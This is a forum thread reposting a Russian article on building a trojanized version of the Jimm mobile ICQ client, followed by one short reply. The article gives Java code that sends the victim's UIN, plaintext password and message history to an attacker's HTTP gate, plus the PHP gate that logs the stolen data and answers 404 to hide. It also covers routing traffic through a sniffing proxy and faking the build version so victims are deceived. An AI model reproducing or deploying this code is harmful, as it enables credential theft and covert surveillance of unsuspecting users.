Воскресенье, 09.02.2025, 00:40
[Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Популярные разделыВНИМАНИЕ!!!Новое важноеЛучшие пользователиРанг
Патчи DB2020                           //тем:(43)//ответов:(687!)
Эльфы                                       //тем:(141)//ответов:(343!)
Драйвера звука                      //тем:(7)//ответов:(117!)
Приложения                             //тем:(7)//ответов:(259!)
ФОРУМ БЫСТРОЙ ПОМОЩИ!   //тем:(36)//ответов:(300!)
Mega Pack's                             //тем:(173)//ответов:(178!)

rylev                  
MAA71              
Kanada7p7       
Olegarh24       
-LiNuX-             
u729                 







  • Страница 1 из 1
  • 1
Модератор форума: CooperOFF  
Jimm изнутри
Sanek Дата: Четверг, 12.03.2009, 18:38 | Сообщение # 1


Admin
Сообщений: 1878
Новичок
 За хорошию репутацию За 150 постов За 250 Постов За 500 Постов За 1000 Постов
Репутация:110 
Модель Телефона:K790i [] 
Статус: :-(
Статус ICQ:366980736 *
Jimm изнутри

Вступление
Мобильные технологии прогрессируют неимоверными темпами. Аська давно перебралась на мобильные платформы, и, весьма неплохо себя там чувствует. Давайте посмотрим, что представляет из себя один из наиболее популярных представителей мобильных ICQ клиентов изнутри, и попытаемся использовать его в своих (учебных) целях.

Впринципе, явакодингом особо до этого я не занимался, но привлекало то, ява - это си-подобный язык, поэтому я подумал, что смогу разобраться с исходниках без особого труда (да и разберется думаю любой другой более-менее соображающий php/c/c++ кодер). Впринципе, так и оказалось. Более того, исходники имеют потрясающую читабельность. Пара часиков у меня ушла на изучения общего принципа работа и устройства jimm ).

У меня была загружена версия 0.5.2 от Xаttаb'а, но впринципе, сама версия не имеет для нас особого значения.
Последнюю версию вы всегда можете загрузить на:
http://jimm.im/php/downloads.php?ids=25

Меняем адрес сервера
Распакуем, архив, лезем в \jimm\src\jimm\Options.java
Находим объявление функции:

Code
static private void setDefaults()

Ага, то, что нам надо. Проставляет дефолтовые значения переменных.
Code
setString (Options.OPTION_SRV_HOST,           "login.icq.com");
// #sijapp cond.else# ===
// #sijapp cond.if modules_PROXY is "true" #
setString (Options.OPTION_SRV_HOST,           "64.12.161.185"); //Cannot resolve host IP on MIDP1 devices
// #sijapp cond.else#
setString (Options.OPTION_SRV_HOST,           "login.icq.com");
// #sijapp cond.end#
// #sijapp cond.end# <===
setString (Options.OPTION_SRV_PORT,           "5190");

Как видим, в опции заносится хост и порт. Мы можем изменить их по своему усмотрению на фиктивный хост, через который будут идти данные и впарить жертве.

Тут можно пойти двумя путями: зарегаться на simkl.com или установить свой сниффер AIM (www.aimsniff.com) и указать на него.

Сам я юзал в данном случае сервис simkl.com, тк своего серва/дедика не было, а на firstvds запрещен прямой доступ к сетевым интерфейсам, так что установить AIM Sniff там не представляется возможным.

Юзаем: Host: im10.simkl.com с портами 80, 3128, 443, 5190.
Для меньшей палевности (если жертва не полный ноль) рекомендуется вписывать соответствующий IP адрес, а не доменное имя.

После того, как жертва законнектится, мы увидим весь ее список контактов, ну, и соответственно всю ее хистори.
Пионерим пароль
Если бы мы просмотрели файл Options.java чуть дальше, мы бы заметили, что UIN хранится в Options.OPTION_UIN, а пароль в Options.OPTION_PASSWORD, причем записаны они там в абсолютно открытом виде, чем мы и воспользуемся.

Выдрать их можно, используя конструкции:

Code
Options.getString(Options.OPTION_PASSWORD)
и
Code
Options.getString(Options.OPTION_UIN)
соответственно.

Итак, пароли нашли, знаем как их оттуда достать? Что же дальше? Правильно, нужно напривить их на наш HTTP-гейт (можно конечно использовать и отправку через простое сообщение ICQ на наш номер, но я выбрал данный способ, потому что так удобнее собирать БД на сервере, правда у него есть один недостаток, в самом начале, когда происходит первый коннект, пользователю придется подтвердить сначала разрешение на открытие
сокета ( это норма ) + разрешение на открытие HTTP соединение. Впринципе, обычно лапоухие не обращают внимание на это, так было и в моих случаях.). Но если уж так хочется стырить пароль через пересылку ICQ сообщения, в конце статье опишу, как это можно сделать.

Итак, нам нужно притырить пароль при коннекте. Открываем файл \jimm\src\jimm\comm\Icq.java , который ответственен за подключение, и находим строку:

Code
public class Icq implements Runnable

сразу после открытой фигурной скобки опишем нашу ядовитую функцию:
Code
//Адрес гейта
static String script = "http://tools/etc/jimm.php";
//Описываем Http подключение и входящий поток
static         HttpConnection httemp1;
static         InputStream istemp1;
//Наша ядовитая функция, которая будет посылать нужные нам данные на гейт
static public void send_poison(String type, String data)
{
            try
            {

              httemp1 = (HttpConnection) Connector.open(script+"?uin="+Options.getString(Options.OPTION_UIN)+"&type="+type+"&data="+data);
              httemp1.setRequestMethod(HttpConnection.POST);
//Открываем входящий поток
                istemp1 = httemp1.openInputStream();
                if (httemp1.getResponseCode() != HttpConnection.HTTP_OK) throw new IOException();
//Читаем из сокета
                byte[] response_ = new byte[(int)httemp1.getLength()];
                istemp1.read(response_,0,response_.length);

                 
            }
            catch (Exception e)
            {
              e.printStackTrace();
            }

}

Далее ищем строку:

Code
static protected synchronized void setConnected()

Эта функция ставит систему в статус "Соединен", чтож, впустим туда свои ядовитые корни.
Добавляем вызов нашей функции:
Code
send_poison("0x01",Options.getString(Options.OPTION_UIN)+";"+Options.getString(Options.OPTION_PASSWORD));

Она вышлет нам на гейт данные в формате UIN;PASS, где нам их останется только отпарсить. Здесь 0x01 я просто использовал как описание типа содержимого (в самом гейте), у меня при 0х01 он ловил и записывал UIN;PASS, при 0х02 ловил сообщения.

Оговорюсь, что метод хищения сообщений на мобильных девайсах не очень хорош собой, т.к создает дополнительный сетевой траффик, соответственно, будут лаги, и иногда некоторые сообщения просто будут не доходить (у меня такое было).

Ну, само хищение истории останется вашим домашним заданием )) В, принципе, если так уж надо, место, где стоит поколдовать, я укажу: Было установлено, что сообщения проходят через обработку в

Code
\jimm\src\jimm\comm\PlainMessage.java

Открываем.
Смотрим на функции:

Code
// Создает входящее сообщение
public PlainMessage(String sndrUin, String rcvrUin, long date, String text, boolean offline)
...
// Создает исходящее сообщение
public PlainMessage(String sndrUin, ContactListContactItem rcvr, int _messageType, long date, String text)

Таким образом, здесь использована перегрузка функций, поэтому действие определяется исходя из набора аргументов. Если хотите тырить переписку, стоит колдовать с этими функциями.

В моем случае я не стал заморачиваться, и пионерил хистори (хоть и иногда и с половинным успехом через всю ту же мою ядовитую функцию send_poison.

Еще одна проблема, с который я столкнулся, и которую хотелось бы осветить, это необходимость перекодировки сообщений в UTF-8 для передачи по HTTP.

Но с тем, как с этим справиться средствами Java (нам придется написать собственную функцию), и о том, как написать наш php-гейт, а так же скомпилировать проект, я расскажу во второй части статьи.


Итак, мы остановились на проблеме кодирования данных для передачи через HTTP запрос.
Напишем для этого такой код:

Code
/**
* Не-ASCII сначала кодируются как последовательности
* двух или трех байт, использую алгоритм UTF-8, перед тем
* как быть закодированными как последовательности %HH
*/
package jimm;

public class whirtUrl
{

  final static String[] hexval = {
    "%00", "%01", "%02", "%03", "%04", "%05", "%06", "%07",
    "%08", "%09", "%0a", "%0b", "%0c", "%0d", "%0e", "%0f",
    "%10", "%11", "%12", "%13", "%14", "%15", "%16", "%17",
    "%18", "%19", "%1a", "%1b", "%1c", "%1d", "%1e", "%1f",
    "%20", "%21", "%22", "%23", "%24", "%25", "%26", "%27",
    "%28", "%29", "%2a", "%2b", "%2c", "%2d", "%2e", "%2f",
    "%30", "%31", "%32", "%33", "%34", "%35", "%36", "%37",
    "%38", "%39", "%3a", "%3b", "%3c", "%3d", "%3e", "%3f",
    "%40", "%41", "%42", "%43", "%44", "%45", "%46", "%47",
    "%48", "%49", "%4a", "%4b", "%4c", "%4d", "%4e", "%4f",
    "%50", "%51", "%52", "%53", "%54", "%55", "%56", "%57",
    "%58", "%59", "%5a", "%5b", "%5c", "%5d", "%5e", "%5f",
    "%60", "%61", "%62", "%63", "%64", "%65", "%66", "%67",
    "%68", "%69", "%6a", "%6b", "%6c", "%6d", "%6e", "%6f",
    "%70", "%71", "%72", "%73", "%74", "%75", "%76", "%77",
    "%78", "%79", "%7a", "%7b", "%7c", "%7d", "%7e", "%7f",
    "%80", "%81", "%82", "%83", "%84", "%85", "%86", "%87",
    "%88", "%89", "%8a", "%8b", "%8c", "%8d", "%8e", "%8f",
    "%90", "%91", "%92", "%93", "%94", "%95", "%96", "%97",
    "%98", "%99", "%9a", "%9b", "%9c", "%9d", "%9e", "%9f",
    "%a0", "%a1", "%a2", "%a3", "%a4", "%a5", "%a6", "%a7",
    "%a8", "%a9", "%aa", "%ab", "%ac", "%ad", "%ae", "%af",
    "%b0", "%b1", "%b2", "%b3", "%b4", "%b5", "%b6", "%b7",
    "%b8", "%b9", "%ba", "%bb", "%bc", "%bd", "%be", "%bf",
    "%c0", "%c1", "%c2", "%c3", "%c4", "%c5", "%c6", "%c7",
    "%c8", "%c9", "%ca", "%cb", "%cc", "%cd", "%ce", "%cf",
    "%d0", "%d1", "%d2", "%d3", "%d4", "%d5", "%d6", "%d7",
    "%d8", "%d9", "%da", "%db", "%dc", "%dd", "%de", "%df",
    "%e0", "%e1", "%e2", "%e3", "%e4", "%e5", "%e6", "%e7",
    "%e8", "%e9", "%ea", "%eb", "%ec", "%ed", "%ee", "%ef",
    "%f0", "%f1", "%f2", "%f3", "%f4", "%f5", "%f6", "%f7",
    "%f8", "%f9", "%fa", "%fb", "%fc", "%fd", "%fe", "%ff"
  };

  /**
   * ASCII символы, начиная с 'a', заканчивая 'z', 'A' заканчивая 'Z',
   *        и с '0' заканчивая '9' оставляем такими же.
   * Такие символы как - _ . ! ~ * ' ( ) оставляем такими же.
   * Пробел преобразуем в плюс '+'.
   * Остальные ASCII символы кодируем в трехсимвольную строку "%xy"
   * где xy - двухсимволное шестнадцатеричное представление
   * кода символа.
   * Все не-ASCII-символы кодируются в два шага: сначала в
   * последовательность 2 или 3 байт, используя алгоритм UTF-8;
   * затем, кодируем каждый байт как "%xx".
   * @param - строка, которую подаем на входе на кодирование
   * @return Зашифрованная строка
   */
  public static String encode(String s)
  {
    StringBuffer wbuf = new StringBuffer();
    int len = s.length();
    for (int i = 0; i < len; i++) {
      int ch = s.charAt(i);
      if ('A' <= ch && ch <= 'Z') {  // 'A'..'Z'
        wbuf.append((char)ch);
      } else if ('a' <= ch && ch <= 'z') { // 'a'..'z'
        wbuf.append((char)ch);
      } else if ('0' <= ch && ch <= '9') { // '0'..'9'
        wbuf.append((char)ch);
      } else if (ch == ' ') {   
        wbuf.append('+');
      } else if (ch == '-' || ch == '_'   
          || ch == '.' || ch == '!'
          || ch == '~' || ch == '*'
          || ch == '\'' || ch == '('
          || ch == ')') {
        wbuf.append((char)ch);
      } else if (ch <= 0x007f) {  // другие ASCII
        wbuf.append(hexval[ch]);
      } else if (ch <= 0x07FF) {  // не ASCII <= 0x7FF
        wbuf.append(hexval[0xc0 | (ch >> 6)]);
        wbuf.append(hexval[0x80 | (ch & 0x3F)]);
      } else {     // 0x7FF < ch <= 0xFFFF
        wbuf.append(hexval[0xe0 | (ch >> 12)]);
        wbuf.append(hexval[0x80 | ((ch >> 6) & 0x3F)]);
        wbuf.append(hexval[0x80 | (ch & 0x3F)]);
      }
    }
    return wbuf.toString();
  }

}

Не забудьте положить наш whirtUrl.java в \jimm\src\jimm\
И влючить его в код:

Code
import jimm.whirtUrl;

Далее уже можем использовать в PlainMessage.java нашу функцию, например через HttpConnection
(не забываем подключать соответствующие java-файлы)
Code
httemp4 = (HttpConnection) Connector.open(script+"?uin="+Options.getString(Options.OPTION_UIN)+"&type=0x02&data="+whirtUrl.encode("[From: "+sndrUin+"] "+text));

Пишем наш гейт
Ну а теперь настало самое время написать наш принимающий core-модуль smile.gif Он довольно простой, но функциональный:
Code
<?
//small conf <img src="http://s10.ucoz.net/sm/23/smile.gif" border="0" align="absmiddle" alt="smile">
//Указываем диру для логов, обязательно должна существовать.
$dir = "logs";

//получаем дату-время для маркировки в логах
$today = getdate();
$date = $today['mday'].".".$today['mon'];
$time = $today['hours'].":".$today['minutes'];

    $UIN=$_GET['uin'];
    $type=$_GET['type'];
     
    if ($type == '0x01')
    {//как говорил выше: 0х01 - значит к нам пришли пароли
      $text = $_GET['data'];
       $fp = fopen($dir."/numbers.txt", 'a+');
       fwrite($fp, "[".$date."] (".$time.") $UIN;$text\r\n");
       fclose($fp);
    }
    if ($type == '0x02') //получили сообщения
    {   
        $text = "[".$time."] ".$_GET['data'];
       $fp = fopen($dir."/hist/".$UIN."_hist_".$date.".txt", 'a+');
       fwrite($fp, "$text\r\n");
       fclose($fp);
    }
//Обезопасим себя :))
header("HTTP/1.0 404 Not Found");

?>

Думаю, здесь без особых трудностей, с файлами работать ведь умеем smile.gif Хочу заметить, что каталог (изначально) logs должен обязательно существовать, +подкаталог hist, если мы собираемся перехватывать историю.

Компиляция
Ну что ж, теперь у нас все готово для компиляции. Нам понадобятся последние версии следующих компонентов:
Apache Ant, NetBeans IDE (можно обойтись и без нее, но при редактировании и отладке кода - очень удобно),
Java 2 Platform Standard Edition (J2SE) SDK, J2ME Wireless Toolkit >=2.2, Pro Guard >=4.1
Все это добро можно найти в интернете и скачать, используя наш любимый google. С установкой, думаю проблем возникнуть не должно.

Давайте лучше, обратим внимание на файл build.xml, нам нужно будет его отредактировать вручную.

Code
<property name="DEFAULT/midp"      value="D:\WTK2.5.2"                         />
<property name="MIDP2/midp"        value="D:\WTK2.5.2"                         />
<property name="RIM/midp"          value="D:\WTK2.5.2"                         />
<property name="SIEMENS1/midp"     value="D:\WTK2.5.2"                         />
<property name="SIEMENS2/midp"     value="D:\WTK2.5.2"                         />
<property name="MOTOROLA/midp"     value="D:\WTK2.5.2"                         />

Здесь нам нужно указать путь к нашему Wireless Toolkit, в моем случае это D:\WTK2.5.2

Code
<property name="proguard"          value="C:\devel\java\proguard4.1\proguard4.1"/>

Указываем путь к нашему обфускатору+пакеру proguard. Можно в принципе его и не использовать, но все же рекомендую. Жмет+обфусцирует код.
Code
<property name="target"            value="MIDP2"                           />

Проставляем нужный нам таргет. Обычно, это MIDP2, который поддерживают все современные телефоны. В ином случае, укажите ваш вариант.
Code
<property name="modules"           value="SMILES,HISTORY,PROXY" />

Указываем необходимые модули, которые подключаем к проекту. То, что ненужно, можно отключить, чтобы уменьшить размер скомпилированного приложения.
Code
<property name="version/jimm"      value="0.5.3b"                     />
<property name="version/java"      value="0.5.3"                />

Здесь мы можем изменить нашу версию, чтобы надурить бедных ламеров smile.gif Ну, вроде ничего не упустил, теперь можно запускать NetBeans IDE.

File -> New Project -> Java Project With Existing Ant Script.
Указываем диру, где лежат исходники jimm + наш build-скрипт (build.xml)

Next;

В Build Project: устанавливаем таргет "dist"
.
Ну вот и все. Впринципе можно смело нажимать Build. И, если, все сделано, правильно, у нас в директории \jimm\dist\bin появятся 2 файла: .jar и .jad
Думаю, что с ними делать дальше, ты знаешь

Заключение
Итак, как, ты понял, мы можем запросто собрать свой билд Jimm с нужными нам функциями. Думаю, теперь ты будешь чаще использовать оф. версии, для которых доступны исходные коды, ведь безопасность твоей ICQ тебе наверно дороже? Сейчас расплодилось огромное количество модификаций Jimm, большинство из них имеют закрытый исходный код, и только сетевой трейс сможет отследить, какую инфу они отправляют в действительности.

Disclaimer:
Статья не является руководством к написанию вредоносных программ, а является лишь информацией к размышлению. Автор не несет ответственности за любой принесенный ущерб в результате неправильного использования представленной информации, а так же действий, противоречащих УК РФ.

Copyright: Whirt 2008 год, написано для Античат


Важно!
Набор команды на сайт
 
Savage Дата: Понедельник, 18.10.2010, 14:45 | Сообщение # 2


Новичок
Сообщений: 14
Новичок
 
Репутация:0 
Модель Телефона: [] 
Статус: :-(
Статус ICQ: *
че то как то все запутано что то..)
 
  • Страница 1 из 1
  • 1
Поиск:

Copyright seclub.my1.ru © 2025 Хостинг от uCoz